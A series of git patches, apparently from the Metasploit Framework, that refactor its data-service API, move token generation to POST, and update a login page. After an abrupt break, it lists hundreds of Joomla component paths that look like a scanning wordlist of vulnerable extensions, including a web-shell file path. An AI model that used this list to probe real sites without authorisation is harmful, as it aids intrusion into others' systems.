@@ -15,10 +15,9 @@ module VulnApiDoc ORIGIN_ID_DESC = 'ID of the associated origin record.' ORIGIN_TYPE_DESC = 'The origin type of this vuln.' REFS_DESC = 'An array of public reference IDs for this vuln.' - REF_ID_DESC = 'The ID of the related Mdm::ModuleRef or Mdm::Ref associated with this vuln.' + REF_ID_DESC = 'The ID of the related Mdm::Ref associated with this vuln.' REF_NAME_DESC = 'Designation for external reference. May include a prefix for the authority, such as \'CVE-\', in which case the rest of the name is the designation assigned by that authority.' REFS_EXAMPLE = ['CVE-2008-4250','OSVDB-49243','MSB-MS08-067'] - MODULE_REF_DETAIL_ID_DESC = 'The ID of the Mdm::Module::Detail record this ModuleRef is associated with.' # Swagger documentation for vulns model swagger_schema :Vuln do @@ -38,12 +37,6 @@ module VulnApiDoc key :'$ref', :Ref end end - property :module_refs do - key :type, :array - items do - key :'$ref', :ModuleRef - end - end property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC end @@ -57,13 +50,6 @@ module VulnApiDoc property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC end - swagger_schema :ModuleRef do - key :required, [:name] - property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC - property :detail_id, type: :integer, format: :int32, description: MODULE_REF_DETAIL_ID_DESC - property :name, type: :string, required: true, description: REF_NAME_DESC - end - swagger_path '/api/v1/vulns' do # Swagger documentation for /api/v1/vulns GET operation :get do From 5f43ec0a794f31e7b79e0017f193e4891f61f36f Mon Sep 17 00:00:00 2001 From: James Barnett Date: Tue, 18 Dec 2018 16:00:01 -0600 Subject: [PATCH 162/220] Address code review comment --- .../framework/data_service/remote/http/response_data_helper.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb b/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb index bd7baa8810e2..5a8723598197 100644 --- a/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb +++ b/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb @@ -107,7 +107,7 @@ def to_ar(klass, val, base_object = nil) reflection end - obj_attribute_names = obj.attributes.transform_keys { |k| k.to_sym }.keys + obj_attribute_names = obj.attributes.transform_keys(&:to_sym).keys data.except(*obj_attribute_names).each do |k, v| association = klass.reflect_on_association(k) From b875d391fc2255ee94361745552306752967e151 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Wed, 2 Jan 2019 15:42:38 -0600 Subject: [PATCH 163/220] WIP: updating ref lookup based on code review comments --- lib/msf/core/db_manager/ref.rb | 13 +++++++++---- lib/msf/core/web_services/views/auth/login.erb | 2 +- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/db_manager/ref.rb b/lib/msf/core/db_manager/ref.rb index d3e9d03976a7..3190fed515c4 100644 --- a/lib/msf/core/db_manager/ref.rb +++ b/lib/msf/core/db_manager/ref.rb @@ -4,11 +4,16 @@ module Msf::DBManager::Ref # def find_or_create_ref(opts) ret = {} - ret[:ref] = get_ref(opts[:name]) - ret[:ref] = Mdm::Ref.find_by_id(opts[:id]) if opts[:id] - return ret[:ref] if ret[:ref] ::ActiveRecord::Base.connection_pool.with_connection { + if opts[:id] && !opts[:id].to_s.empty? + return Array.wrap(Mdm::Ref.find(opts[:id])) + end + + if opts[:ref] + return Array.wrap(get_ref(opts[:name])) + end + ref = ::Mdm::Ref.where(name: opts[:name]).first_or_initialize begin @@ -21,7 +26,7 @@ def find_or_create_ref(opts) if ref and ref.changed? ref.save! end - ret[:ref] = ref + Array.wrap(ref) } end diff --git a/lib/msf/core/web_services/views/auth/login.erb b/lib/msf/core/web_services/views/auth/login.erb index 3cd69c9d39b4..7fab6ab87b3b 100644 --- a/lib/msf/core/web_services/views/auth/login.erb +++ b/lib/msf/core/web_services/views/auth/login.erb @@ -23,4 +23,4 @@ - \ No newline at end of file + From 1b29e178276ea393c38c1b504f690c839cd6c1cf Mon Sep 17 00:00:00 2001 From: James Barnett Date: Thu, 3 Jan 2019 10:47:27 -0600 Subject: [PATCH 164/220] Dont array wrap refs --- lib/msf/core/db_manager/ref.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/db_manager/ref.rb b/lib/msf/core/db_manager/ref.rb index 3190fed515c4..22f438ee19d7 100644 --- a/lib/msf/core/db_manager/ref.rb +++ b/lib/msf/core/db_manager/ref.rb @@ -7,11 +7,11 @@ def find_or_create_ref(opts) ::ActiveRecord::Base.connection_pool.with_connection { if opts[:id] && !opts[:id].to_s.empty? - return Array.wrap(Mdm::Ref.find(opts[:id])) + return Mdm::Ref.find(opts[:id]) end if opts[:ref] - return Array.wrap(get_ref(opts[:name])) + return get_ref(opts[:name]) end ref = ::Mdm::Ref.where(name: opts[:name]).first_or_initialize @@ -26,7 +26,7 @@ def find_or_create_ref(opts) if ref and ref.changed? ref.save! end - Array.wrap(ref) + ref } end From 60681e4385a4dc23596c7372e884168e24238a47 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Fri, 14 Dec 2018 15:03:10 -0600 Subject: [PATCH 165/220] Use POST for token generation --- documentation/api/v1/auth_api_doc.rb | 21 +++++++------------ .../strategies/user_password.rb | 10 ++++++--- .../core/web_services/servlet/auth_servlet.rb | 6 +++--- 3 files changed, 18 insertions(+), 19 deletions(-) diff --git a/documentation/api/v1/auth_api_doc.rb b/documentation/api/v1/auth_api_doc.rb index fb527875e018..52bc8e975f80 100644 --- a/documentation/api/v1/auth_api_doc.rb +++ b/documentation/api/v1/auth_api_doc.rb @@ -16,25 +16,20 @@ module AuthApiDoc swagger_path '/api/v1/auth/generate-token' do # Swagger documentation for /api/v1/auth/generate-token GET - operation :get do + operation :post do key :description, 'Return a valid Authorization Bearer token.' key :tags, [ 'auth' ] parameter do - key :name, :username - key :in, :query - key :description, 'The username for the user you want to authenticate.' + key :in, :body + key :name, :body + key :description, 'Login credentials for the user who will be generating a token.' key :required, true - key :type, :string - end - - parameter do - key :name, :password - key :in, :query - key :description, 'The password for the user you want to authenticate.' - key :required, true - key :type, :string + schema do + property :username, type: :string, required: true + property :password, type: :string, required: true + end end response 200 do diff --git a/lib/msf/core/web_services/authentication/strategies/user_password.rb b/lib/msf/core/web_services/authentication/strategies/user_password.rb index 087c465c603f..a889ec7fa5f4 100644 --- a/lib/msf/core/web_services/authentication/strategies/user_password.rb +++ b/lib/msf/core/web_services/authentication/strategies/user_password.rb @@ -16,15 +16,19 @@ class UserPassword < Warden::Strategies::Base # Check if request contains valid data and should be authenticated. # @return [Boolean] true if strategy should be run for the request; otherwise, false. def valid? - params['username'] && params['password'] + body = JSON.parse(request.body.read, symbolize_names: true) + request.body.rewind # Reset the StringIO buffer so any further consumers can read the body + body[:username] && body[:password] end # Authenticate the request. def authenticate! + body = JSON.parse(request.body.read, symbolize_names: true) + request.body.rewind # Reset the StringIO buffer so any further consumers can read the body db_manager = env['msf.db_manager'] - user = db_manager.users(username: params['username']).first + user = db_manager.users(username: body[:username]).first - if user.nil? || !db_manager.authenticate_user(id: user.id, password: params['password']) + if user.nil? || !db_manager.authenticate_user(id: user.id, password: body[:password]) fail("Invalid username or password.") else success!(user) diff --git a/lib/msf/core/web_services/servlet/auth_servlet.rb b/lib/msf/core/web_services/servlet/auth_servlet.rb index 7cf8d6ae35fe..6498ff4fe941 100644 --- a/lib/msf/core/web_services/servlet/auth_servlet.rb +++ b/lib/msf/core/web_services/servlet/auth_servlet.rb @@ -31,7 +31,7 @@ def self.registered(app) app.post AuthServlet.api_login_path, &post_login app.get AuthServlet.api_logout_path, &get_logout - app.get AuthServlet.api_generate_token_path, &get_generate_token + app.post AuthServlet.api_generate_token_path, &post_generate_token app.post "#{AuthServlet.api_unauthenticated_path}/?:scope?", &post_unauthenticated end @@ -75,7 +75,7 @@ def self.get_logout end # Generate a new API token for the current user - def self.get_generate_token + def self.post_generate_token lambda { # change action to drop the scope param since this is used # by XMLHttpRequest (XHR) and we don't want a redirect @@ -103,4 +103,4 @@ def self.post_unauthenticated } end -end \ No newline at end of file +end From 4ea2c5bc49ae9f3efdceceb51a9bfcfccdc6f9e3 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Mon, 17 Dec 2018 12:50:39 -0600 Subject: [PATCH 166/220] Update msfdb to use POST generate-token --- msfdb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfdb b/msfdb index d8ee7679520c..db6683291683 100755 --- a/msfdb +++ b/msfdb @@ -636,7 +636,7 @@ def add_web_service_user # Send request to create new API token for the user generate_token_uri = get_web_service_uri(path: '/api/v1/auth/generate-token') - response_data = http_request(uri: generate_token_uri, query: cred_data, method: :get, + response_data = http_request(uri: generate_token_uri, data: cred_data, method: :post, skip_verify: skip_ssl_verify?, cert: get_ssl_cert) response = response_data[:response] puts "add_web_service_user: generate token response=#{response}" if @options[:debug] From 4bbf84b949d215cd4259b919746bc8161bf40f48 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Tue, 18 Dec 2018 13:13:50 -0600 Subject: [PATCH 167/220] Update login test page to use POST for generate-token --- .../core/web_services/views/auth/account.erb | 4 +- .../core/web_services/views/auth/login.erb | 41 +++++++++++++++++-- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/web_services/views/auth/account.erb b/lib/msf/core/web_services/views/auth/account.erb index 56a72467329b..17b556b01123 100644 --- a/lib/msf/core/web_services/views/auth/account.erb +++ b/lib/msf/core/web_services/views/auth/account.erb @@ -9,7 +9,7 @@ + +

-
+

Log In - Metasploit API

@@ -16,11 +50,10 @@ - - +
- \ No newline at end of file + From 83267d08e047b52983c2924bcfc5117610d17c96 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Wed, 2 Jan 2019 13:57:55 -0600 Subject: [PATCH 168/220] Update jquery version and use SRI --- lib/msf/core/web_services/views/auth/login.erb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/web_services/views/auth/login.erb b/lib/msf/core/web_services/views/auth/login.erb index 4979464402be..a9496069268b 100644 --- a/lib/msf/core/web_services/views/auth/login.erb +++ b/lib/msf/core/web_services/views/auth/login.erb @@ -7,7 +7,10 @@ - + +components/com_checklist/ +components/com_chronoconnectivity/ +components/com_chronocontact/ components/com_chronocontact/excelwriter/PPS/File.php +components/com_cincopa/ components/com_cinema/ +components/com_civicrm/ +components/com_cjlib/ +components/com_ckforms/ +components/com_clan/ +components/com_clan_members/ +components/com_clanlist/ +components/com_clantools/ components/com_clasifier/ +components/com_classified/ components/com_classifieds/ components/com_clickheat/ components/com_cloner/ +components/com_clubmanager/ components/com_cmimarketplace/ +components/com_cmotour/ components/com_cms/ +components/com_collector/ components/com_colophon/ +components/com_color/ components/com_colorlab/ +components/com_commedia/ +components/com_comments/ +components/com_community/ +components/com_communitypolls/ +components/com_communityquiz/ +components/com_communitysurveys/ +components/com_comp/ components/com_competitions/ +components/com_component/ components/com_comprofiler/ components/com_comprofiler/plugin.class.php +components/com_connect/ +components/com_contact/ +components/com_contact_enhanced/ +components/com_contactformmaker/ components/com_contactinfo/ components/com_content/ +components/com_contentbloglist/ +components/com_contenthistory/ +components/com_contentmap/ +components/com_controller/ +components/com_contushdvideoshare/ +components/com_convertforms/ +components/com_countries/ +components/com_coupon/ +components/com_cpeventcalendar/ +components/com_cpg/ components/com_cpg/cpg.php +components/com_creativecontactform/ +components/com_crhotels/ +components/com_cropimage/ components/com_cropimage/admin.cropcanvas.php +components/com_crowdsource/ components/com_custompages/ +components/com_cvmaker/ +components/com_cwtags/ components/com_cx/ +components/com_d-greinar/ components/com_d3000/ components/com_dadamail/ +components/com_dailymeals/ components/com_dailymessage/ +components/com_dashboard/ +components/com_datafeeds/ +components/com_dateconverter/ components/com_datsogallery/ components/com_dbquery/ +components/com_dcnews/ +components/com_dcs_flashgames/ +components/com_delicious/ +components/com_departments/ components/com_detail/ +components/com_dhforum/ +components/com_diary/ +components/com_digifolio/ components/com_digistore/ +components/com_dioneformwizard/ +components/com_directorix/ components/com_directory/ +components/com_dirfrm/ +components/com_discussions/ +components/com_dj-classifieds/ +components/com_djartgallery/ +components/com_djcatalog/ +components/com_djclassifieds/ components/com_djiceshoutbox/ +components/com_dm_orders/ +components/com_dms/ components/com_doc/ +components/com_docman/ +components/com_docmanpaypal/ +components/com_donateprocess/ +components/com_doqment/ +components/com_download-monitor/ components/com_downloads/ +components/com_drawroot/ components/com_ds-syndicate/ +components/com_dshop/ +components/com_dt-register/ +components/com_dtracker/ components/com_dtregister/ +components/com_dv/ components/com_dv/externals/phpupload/upload.php"); +components/com_dwgraphs/ +components/com_easy_youtube_gallery/ +components/com_easyblog/ components/com_easybook/ +components/com_easydiscuss/ +components/com_easygb/ +components/com_ecommercewd/ +components/com_econtent/ +components/com_education/ +components/com_education_classes/ +components/com_ekrishta/ +components/com_elite/ +components/com_elite_experts/ components/com_emcomposer/ +components/com_enmasse/ +components/com_ensenanzas/ +components/com_eportfolio/ +components/com_equipment/ components/com_equotes/ +components/com_esearch/ +components/com_eshop/ +components/com_eslamiat/ components/com_estateagent/ +components/com_event/ +components/com_eventbooking/ +components/com_eventcal/ components/com_eventing/ +components/com_eventix/ components/com_eventlist/ components/com_events/ components/com_ewriting/ +components/com_expautospro/ +components/com_expedition/ +components/com_expose/ components/com_expose/uploadimg.php +components/com_expose_small_rc4/ components/com_expshop/ components/com_extcalendar/ components/com_extcalendar/cal_popup.php?extmode=view&extid= components/com_extcalendar/extcalendar.php +components/com_extended/ components/com_extended_registration/registration_detailed.inc.php +components/com_extplorer-test1/ +components/com_extplorer-test2/ +components/com_extplorer-test3/ components/com_extplorer/ +components/com_extrasearch/ +components/com_ezautos/ components/com_ezine/ components/com_ezstore/ +components/com_fabrik/ +components/com_facebook/ +components/com_facegallery/ components/com_facileforms/ +components/com_family/ components/com_fantasytournament/ components/com_faq/ +components/com_faqbook/ +components/com_fastball/ +components/com_fbb/ +components/com_feederator/ components/com_feederator/includes/tmsp/add_tmsp.php +components/com_fields/ components/com_filebase/ components/com_filiale/ +components/com_finder/ +components/com_fireboard/ +components/com_firmy/ +components/com_flash/ components/com_flashfun/ +components/com_flashgames/ components/com_flashmagazinedeluxe/ +components/com_flexicontent/ components/com_flippingbook/ +components/com_flipwall/ +components/com_flyspray/ components/com_flyspray/startdown.php +components/com_fm/ components/com_fm/fm.install.php +components/com_focalpoint/ components/com_foevpartners/ +components/com_foobla/ +components/com_foobla_suggestions/ components/com_football/ +components/com_forme/ +components/com_formmaker/ components/com_formtool/ components/com_forum/ +components/com_foto/ +components/com_foxcontact/ components/com_fq/ +components/com_freichat/ +components/com_frontenduseraccess/ +components/com_fsave/ +components/com_fss/ +components/com_full/ components/com_fundraiser/ +components/com_furniture/ +components/com_g2bridge/ +components/com_gadgetfactory/ components/com_galeria/ +components/com_galleria/ components/com_galleria/galleria.html.php components/com_gallery/ +components/com_gallery_wd/ +components/com_galleryxml/ +components/com_gambling/ components/com_game/ components/com_gameq/ +components/com_gamesbox/ +components/com_gameserver/ +components/com_ganalytics/ +components/com_gantry/ components/com_garyscookbook/ +components/com_gbufacebook/ +components/com_gcalendar/ +components/com_gds/ components/com_genealogy/ components/com_geoboerse/ +components/com_geocontent/ +components/com_giftexchange/ components/com_gigcal/ +components/com_gigfe/ +components/com_gk3_photoslide/ +components/com_gmap/ components/com_gmaps/ +components/com_gnosis/ +components/com_golfcourseguid/ +components/com_golfcourseguide/ +components/com_google/ components/com_googlebase/ +components/com_googlemaplocator/ +components/com_goverment/ +components/com_gpstools/ +components/com_graphics/ +components/com_grid/ +components/com_groovygallery/ +components/com_groupjive/ +components/com_groups/ components/com_gsticketsystem/ +components/com_guesser/ components/com_guide/ +components/com_guru/ +components/com_gurujibook/ +components/com_hashcash/ components/com_hashcash/server.php +components/com_hbooking/ components/com_hbssearch/ +components/com_hdflvplayer/ +components/com_hdvideoshare/ +components/com_healthstats/ +components/com_hello/ components/com_hello_world/ +components/com_helpdeskpro/ +components/com_hezacontent/ +components/com_hikasho/ +components/com_hmcommunity/ +components/com_horoscope/ +components/com_horses/ +components/com_hospital/ +components/com_hotbrackets/ +components/com_hotel/ +components/com_hotelguide/ components/com_hotproperties/ components/com_hotproperty/ components/com_hotspots/ +components/com_hsconfig/ +components/com_htmlarea3/ components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php +components/com_huruhelpdesk/ components/com_hwdvideoshare/ components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); +components/com_icagenda/ components/com_ice/ components/com_idoblog/ components/com_idvnews/ +components/com_if_nexus/ +components/com_if_surfalert/ +components/com_igallery/ components/com_ignitegallery/ +components/com_iigcatalog/ +components/com_ijoomla/ components/com_ijoomla_archive/ components/com_ijoomla_rss/ +components/com_imagebrowser/ +components/com_img/ +components/com_imoti/ +components/com_include/ +components/com_informations/ +components/com_inneradmission/ +components/com_installer/ components/com_inter/ +components/com_intranet/ +components/com_intuit/ +components/com_invitex/ +components/com_iomezun/ components/com_ionfiles/ +components/com_iproperty/ +components/com_ircmbasic/ components/com_is/ +components/com_itarmory/ +components/com_items/ components/com_ixxocart/ +components/com_j-projects/ components/com_jabode/ +components/com_jacomment/ +components/com_jaextmanager/ +components/com_jajobboard/ +components/com_janews/ components/com_jashowcase/ +components/com_javoice/ components/com_jb2/ +components/com_jbcatalog/ +components/com_jbdiary/ +components/com_jbook/ +components/com_jbpeople/ +components/com_jbpublishdownfp/ +components/com_jbudgetsmagic/ +components/com_jbuildozer/ +components/com_jbusinessdirectory/ +components/com_jcafe/ +components/com_jcalpro/ +components/com_jcart/ components/com_jce/ +components/com_jcollection/ +components/com_jcomments/ +components/com_jcommunity/ +components/com_jcruisereservation/ components/com_jcs/ components/com_jd-wiki/ components/com_jd-wp/ +components/com_jdbexport/ +components/com_jdirectory/ +components/com_jdownloads/ +components/com_jdrugstopics/ +components/com_jeajaxeventcalendar/ +components/com_jeauction/ +components/com_jeauto/ +components/com_jeawdsong/ +components/com_jeclassifieds/ +components/com_jeclassifyads/ +components/com_jedirectory/ +components/com_jeemaarticlecollection/ +components/com_jeemasms/ +components/com_jeeventcalendar/ +components/com_jefaqpro/ +components/com_jeformcr/ +components/com_jegallery/ +components/com_jegridfolio/ +components/com_jeguestbook/ +components/com_jejob/ +components/com_jek2storymultipleform/ +components/com_jem/ +components/com_jembedall/ +components/com_jemediaplayer/ +components/com_jemembership/ +components/com_jemessenger/ +components/com_jepaypervideo/ +components/com_jepoll/ +components/com_jeportfolio/ +components/com_jepropertyfinder/ +components/com_jequestions/ +components/com_jequizmanagement/ +components/com_jequoteform/ +components/com_jereverseauction/ +components/com_jesectionfinder/ +components/com_jesubmit/ +components/com_jetext/ +components/com_jeticket/ +components/com_jetour/ +components/com_jeux/ +components/com_jevideogallery/ +components/com_jevideorate/ +components/com_jfbconnect/ +components/com_jfeedback/ +components/com_jfuploader/ +components/com_jfusion/ +components/com_jgen/ +components/com_jgive/ +components/com_jgrid/ +components/com_jhotelreservation/ +components/com_jigsaw/ components/com_jim/ +components/com_jimtawl/ +components/com_jinc/ +components/com_jinventory/ components/com_jjgallery/ +components/com_jlike/ +components/com_jlord_rss/ +components/com_jmarket/ components/com_jmovies/ +components/com_jmsfileseller/ +components/com_jmsmusic/ +components/com_jnews/ +components/com_jnewsletter/ +components/com_jnewspaper/ +components/com_joaktree/ +components/com_job/ +components/com_jobads/ +components/com_jobgrokapp/ +components/com_jobgroklist/ components/com_jobline/ +components/com_jobprofile/ +components/com_jofacebookgallery/ +components/com_joltcard/ components/com_jombib/ +components/com_jomcomdev/ +components/com_jomdirectory/ +components/com_jomestate/ +components/com_jomholiday/ +components/com_jomres/ +components/com_jomtube/ components/com_joobb/ +components/com_joodb/ components/com_jooget/ components/com_joom12pic/ +components/com_joomanager/ +components/com_joomblog/ +components/com_joomclip/ +components/com_joomdle/ +components/com_joomdoc/ +components/com_joomdocs/ +components/com_joomgalaxy/ +components/com_joomgallery&func/ +components/com_joomgallery/ +components/com_joominaflileselling/ components/com_joomla-visites/ +components/com_joomla/ components/com_joomla_flash_uploader/ components/com_joomlaboard/ +components/com_joomlaconnect_be/ +components/com_joomladate/ components/com_joomladate/ components/com_joomlaflashfun/ +components/com_joomlaflickr/ components/com_joomlalib/ +components/com_joomlapicasa2/ +components/com_joomlaquiz/ components/com_joomlaradiov5/ +components/com_joomlaupdate/ +components/com_joomlaupdater/ components/com_joomlavvz/ components/com_joomlaxplorer/ components/com_joomloads/ +components/com_joomloc/ +components/com_joomlub/ +components/com_joommail/ +components/com_joomnik/ +components/com_joomportfolio/ components/com_joomradio/ +components/com_joomrecipe/ +components/com_joomsport/ +components/com_joomtouch/ components/com_joomtracker/ +components/com_jooproperty/ components/com_joovideo/ components/com_jotloader/ components/com_journal/ +components/com_jp_jobs/ components/com_jpack/ components/com_jpad/ +components/com_jphone/ +components/com_jphoto/ +components/com_jpodium/ +components/com_jprojectmanager/ +components/com_jquarks4s/ +components/com_jquickcontact/ +components/com_jr_tfb/ +components/com_jradio/ components/com_jreactions/ +components/com_jresearch/ +components/com_jreservation/ +components/com_jreviews/ components/com_jreviews/scripts/xajax.inc.php +components/com_jsautoz/ +components/com_jscalendar/ +components/com_jshop/ +components/com_jsjobs/ +components/com_jsplocation/ +components/com_jsptickets/ +components/com_jssupportticket/ +components/com_jstore/ +components/com_jsubscription/ +components/com_jsupport/ +components/com_jtagcalendar / +components/com_jtagcalendar/ +components/com_jtagmembersdirectory/ +components/com_jtagminicart/ +components/com_jticketing/ +components/com_jtickets/ +components/com_jtips/ +components/com_jtm/ +components/com_juicy/ +components/com_jukebox/ +components/com_juliaportfolio/ components/com_jumi/ components/com_juser/ +components/com_jux_eventon/ +components/com_jux_real_estate/ +components/com_jvcomment/ +components/com_jvehicles/ components/com_jvideo/ +components/com_jvideoclip/ +components/com_jvideodirect/ +components/com_jvotesystem/ +components/com_jw_allvideos/ +components/com_jwhmcs/ +components/com_jwmmxtd/ components/com_k2/ +components/com_k2ajaxsearch/ +components/com_k2store/ components/com_kbase/ +components/com_king/ +components/com_kissgallery/ +components/com_kk/ +components/com_kkcontent/ +components/com_knowledgebase/ components/com_knowledgebase/fckeditor/fckeditor.js components/com_kochsuite / +components/com_kochsuite/ +components/com_komento/ +components/com_konsultasi/ +components/com_kp/ +components/com_ksadvertiser/ components/com_kunena/ +components/com_kunena_google_map_no_geocode/ +components/com_lead/ +components/com_leader/ components/com_letterman/ components/com_lexikon/ +components/com_libros/ components/com_linkdirectory/ +components/com_linkr/ +components/com_listbingo/ +components/com_listing/ components/com_listoffreeads/ +components/com_livechat/ components/com_livechat/getSavedChatRooms.php components/com_livechat/xmlhttp.php components/com_liveticker/ components/com_lm/ components/com_lmo/ +components/com_lms/ +components/com_lmsking/ +components/com_loginbox/ +components/com_loudmounth/ components/com_loudmounth/includes/abbc/abbc.class.php components/com_loudmouth/ +components/com_lovefactory/ components/com_lowcosthotels/ +components/com_lucygames/ +components/com_lurm/ components/com_lurm_constructor/admin.lurm_constructor.php +components/com_lyftenbloggie/ +components/com_macgallery/ +components/com_machine/ components/com_mad4joomla/ +components/com_madeira/ components/com_madeira/img.php +components/com_magazine/ +components/com_magazine_3_0_1/ +components/com_magicdealsweb/ +components/com_maian15/ +components/com_maianmedia/ components/com_maianmusic/ components/com_mailarchive/ components/com_mailto/ +components/com_mambatstaff/ components/com_mambatstaff/mambatstaff.php components/com_mambelfish/ components/com_mambospgm/ +components/com_mambowiki/ components/com_mambowiki/MamboLogin.php +components/com_manager/ +components/com_maplocator/ +components/com_maqmahelpdesk/ +components/com_market/ components/com_marketplace/ +components/com_markt/ +components/com_masterforms/ +components/com_matamko/ components/com_mcquiz/ components/com_mdigg/ +components/com_media/ components/com_media_library/ +components/com_mediaalert/ +components/com_medialibrary/ +components/com_mediamall/ components/com_mediaslide/ +components/com_mediqna/ +components/com_memorix/ +components/com_memory/ +components/com_memorybook/ +components/com_menu/ components/com_mezun/ components/com_mgm/ components/com_minibb/ components/com_misterestate/ +components/com_mmp/ components/com_mmp/help.mmp.php +components/com_mmsblog/ +components/com_mochigames/ +components/com_mod_dvfoldercontent/ components/com_model/ +components/com_modern_booking/ +components/com_mojo/ +components/com_monthlyarchive/ +components/com_moodle/ components/com_moodle/moodle.php components/com_moofaq/ +components/com_morfeoshow/ +components/com_mosets/ +components/com_mosforms/ components/com_mosmedia/ +components/com_mospray/ components/com_mospray/scripts/admin.php components/com_mosres/ components/com_most/ +components/com_mostwantedrealestate/ +components/com_motor/ +components/com_movm/ +components/com_mp3/ components/com_mp3_allopass/ +components/com_mscomment/ +components/com_mtfireeagle/ components/com_mtree/ components/com_mtree/img/listings/o/{id}.php +components/com_mtree/img/listings/o/{id}.php where {id} +components/com_multibanners/ components/com_multibanners/extadminmenus.class.php +components/com_multimap/ +components/com_multiroot/ +components/com_multitier/ +components/com_muscol/ +components/com_music/ +components/com_musicgallery/ +components/com_mv_restaurantmenumanager/ components/com_myalbum/ +components/com_myblog/ +components/com_mycar/ components/com_mycontent/ components/com_mydyngallery/ +components/com_myfiles/ +components/com_myform/ components/com_mygallery/ +components/com_myhome/ +components/com_mymsg/ +components/com_myportfolio/ +components/com_myproject/ +components/com_mysms/ +components/com_mytube/ components/com_n-forms/ +components/com_na/ components/com_na_content/ components/com_na_mydocs/ components/com_na_newsdescription/ components/com_na_qforms/ +components/com_nbreal/ components/com_neogallery/ components/com_neorecruit/ components/com_neoreferences/ components/com_netinvoice/ +components/com_network/ components/com_news/ components/com_news_portal/ +components/com_newsfeeds/ components/com_newsflash/ +components/com_newssearch/ +components/com_nfn/ components/com_nfn_addressbook/ +components/com_nfnaddressbook/ +components/com_nge/ +components/com_niceajaxpoll/ components/com_nicetalk/ +components/com_ninjamonial/ +components/com_ninjamonials/ +components/com_nkc/ +components/com_noticeboard/ +components/com_noticia/ components/com_noticias/ +components/com_novasfh/ +components/com_ns_downloadshop/ +components/com_ob/ +components/com_obSuggest/ +components/com_obsuggest/ +components/com_odudeprofile/ components/com_omnirealestate/ components/com_omphotogallery/ +components/com_onevote/ +components/com_ongallery/ components/com_ongumatimesheet20/ +components/com_onismusic / +components/com_onismusic/ +components/com_onispetitions/ +components/com_onisquotes/ +components/com_onlineexam/ components/com_onlineflashquiz/ +components/com_opencart/ +components/com_oprykningspoint_mc/ +components/com_ops/ +components/com_org/ +components/com_orgchart/ +components/com_ornekek/ +components/com_os_cck/ +components/com_osdownloads/ +components/com_osproperty/ +components/com_osservicesbooking/ +components/com_otzivi/ components/com_ownbiblio/ +components/com_oziogallery/ +components/com_oziogallery2/ +components/com_packages/ +components/com_pandafminigames/ components/com_panoramic/ +components/com_parcoauto/ +components/com_party/ components/com_paxgallery/ components/com_paxxgallery/ +components/com_payage/ +components/com_payplans/ +components/com_pazzari_vm3/ +components/com_pbbooking/ +components/com_pc/ components/com_pcchess/ components/com_pcchess/include.pcchess.php components/com_pccookbook/ components/com_pccookbook/pccookbook.php +components/com_people/ +components/com_peoplebook/ components/com_peoplebook/param.peoplebook.php +components/com_perchagallery/ +components/com_perchaimageattach/ components/com_performs/ +components/com_personal/ components/com_philaform/ components/com_phocadocumentation/ +components/com_phocadownload/ +components/com_phocagallery/ +components/com_phocamaps/ +components/com_photo/ +components/com_photobattle/ +components/com_photoblog/ +components/com_photocontest/ +components/com_photomapgallery/ components/com_php/ +components/com_phpbridge/ +components/com_phpshop/ components/com_phpshop/toolbar.phpshop.html.php +components/com_picasa2gallery/ +components/com_picsell/ components/com_pinboard/ components/com_pms/ +components/com_pofos/ components/com_poll/ components/com_pollxt/ components/com_ponygallery/ components/com_portafolio/ components/com_portfol/ +components/com_portfolio/ +components/com_portfoliogallery/ +components/com_poweradmin/ +components/com_powermail/ components/com_prayercenter/ +components/com_press/ +components/com_pressrelease/ +components/com_preventive/ +components/com_price_alert/ +components/com_prime/ +components/com_pro/ components/com_pro_desk/ components/com_prod/ +components/com_product/ +components/com_product_modul/ +components/com_productbook/ +components/com_products/ components/com_productshowcase/ +components/com_profile/ components/com_profiler/ components/com_projectfork/ +components/com_projectlog/ +components/com_projects/ +components/com_proofreader/ +components/com_properties/ components/com_propertylab/ components/com_puarcade/ components/com_publication/ +components/com_publisher/ +components/com_qcontacts/ +components/com_qpersonel/ +components/com_question/ +components/com_quickfaq/ +components/com_quicknews/ components/com_quiz/ +components/com_quran/ +components/com_races/ +components/com_radio/ +components/com_rand/ +components/com_ranking/ components/com_rapidrecipe/ +components/com_rd_download/ components/com_rdautos/ components/com_realestatemanager/ +components/com_realpin/ +components/com_realtyna/ +components/com_recerca/ +components/com_recipe/ components/com_recly/ +components/com_record/ +components/com_redshop/ +components/com_redtwitter/ components/com_referenzen/ +components/com_registration/ +components/com_registrationpro/ components/com_rekry/ +components/com_remository/ components/com_remository/admin.remository.php components/com_remository_files/file_image_14/1276100016shell.php +components/com_reporter/ components/com_reporter/processor/reporter.sql.php +components/com_reservations/ components/com_resman/ components/com_restaurante/ +components/com_restaurantguide/ components/com_ricette/ +components/com_rokcandy/ +components/com_rokdownloads/ +components/com_rokmodule/ +components/com_roommgmt/ +components/com_route/ +components/com_rpl/ +components/com_rpx/ +components/com_rsappt_pro2/ +components/com_rsappt_pro3/ +components/com_rsbook_15/ +components/com_rscomments/ components/com_rsfiles/ +components/com_rsform/ components/com_rsgallery/ components/com_rsgallery2/ +components/com_rsmonials/ components/com_rss/ components/com_rssreader/ components/com_rssxt/ components/com_rwcards/ +components/com_s5_media_player/ +components/com_s5clanroster/ +components/com_salesrep/ +components/com_sanpham/ 